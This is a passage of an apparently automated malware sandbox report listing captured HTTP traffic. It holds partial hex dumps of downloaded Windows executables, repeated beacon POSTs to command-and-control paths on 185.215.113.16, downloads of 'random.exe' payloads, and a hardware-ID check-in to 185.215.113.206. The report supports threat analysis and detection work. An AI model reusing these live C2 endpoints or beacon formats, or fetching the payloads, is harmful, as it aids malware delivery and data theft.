00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 9a 01 00 00 00 00 00 00 30 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4c 00 00 04 00 00 c5 43 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 11 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 10 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 78 70 7a 6c 79 69 6e 00 70 1a 00 00 b0 31 00 00 66 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 79 65 73 70 62 6e 78 00 10 00 00 00 20 4c 00 00 04 00 00 00 5c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4c 00 00 22 00 00 00 60 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 11:35:08 GMTContent-Type: application/octet-streamContent-Length: 2797568Last-Modified: Fri, 01 Nov 2024 11:30:58 GMTConnection: keep-aliveETag: "6724bbf2-2ab000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 4b 2e 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7a 69 65 6a 76 75 71 63 00 60 2a 00 00 a0 00 00 00 50 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 70 6b 68 66 68 69 78 00 20 00 00 00 00 2b 00 00 04 00 00 00 8a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 8e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 11:35:13 GMTContent-Type: application/octet-streamContent-Length: 2797568Last-Modified: Fri, 01 Nov 2024 11:31:00 GMTConnection: keep-aliveETag: "6724bbf4-2ab000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 4b 2e 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7a 69 65 6a 76 75 71 63 00 60 2a 00 00 a0 00 00 00 50 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 70 6b 68 66 68 69 78 00 20 00 00 00 00 2b 00 00 04 00 00 00 8a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 8e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 11:35:19 GMTContent-Type: application/octet-streamContent-Length: 6172760Last-Modified: Thu, 31 Oct 2024 16:49:02 GMTConnection: keep-aliveETag: "6723b4fe-5e3058"Accept-Ranges: bytesData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0b 00 bd da 90 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 02 19 00 74 0a 00 00 70 02 00 00 00 00 00 bc 83 0a 00 00 10 00 00 00 90 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 c0 0d 00 00 04 00 00 e5 e9 5e 00 02 00 40 81 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 70 0b 00 71 00 00 00 00 50 0b 00 ec 0f 00 00 00 b0 0c 00 00 10 01 00 00 00 00 00 00 00 00 00 00 08 5e 00 58 28 00 00 00 a0 0b 00 a8 0f 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 52 0b 00 5c 02 00 00 00 60 0b 00 a4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 56 0a 00 00 10 00 00 00 58 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 64 1b 00 00 00 70 0a 00 00 1c 00 00 00 5c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 38 38 00 00 00 90 0a 00 00 3a 00 00 00 78 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 58 72 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 ec 0f 00 00 00 50 0b 00 00 10 00 00 00 b2 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 61 00 a4 01 00 00 00 60 0b 00 00 02 00 00 00 c2 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 65 64 61 74 61 00 00 71 00 00 00 00 70 0b 00 00 02 00 00 00 c4 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 18 00 00 00 00 80 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 5d 00 00 00 00 90 0b 00 00 02 00 00 00 c6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 a8 0f 01 00 00 a0 0b 00 00 10 01 00 00 c8 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 11:35:19 GMTContent-Type: application/octet-streamContent-Length: 1884672Last-Modified: Fri, 01 Nov 2024 10:54:05 GMTConnection: keep-aliveETag: "6724b34d-1cc200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 5d 8d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 64 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 70 6c 75 63 7a 63 62 00 b0 19 00 00 c0 30 00 00 a6 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 76 65 75 63 69 70 66 00 10 00 00 00 70 4a 00 00 04 00 00 00 9c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4a 00 00 22 00 00 00 a0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 35 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001508001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJDAEGIDHCBFHJJJEGHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 46 34 34 38 41 34 31 35 42 42 38 38 33 38 38 34 31 37 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 2d 2d 0d 0a Data Ascii: ------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="hwid"A3F448A415BB883884179------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="build"tale------HJJJDAEGIDHCBFHJJJEG--
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 35 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001509001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
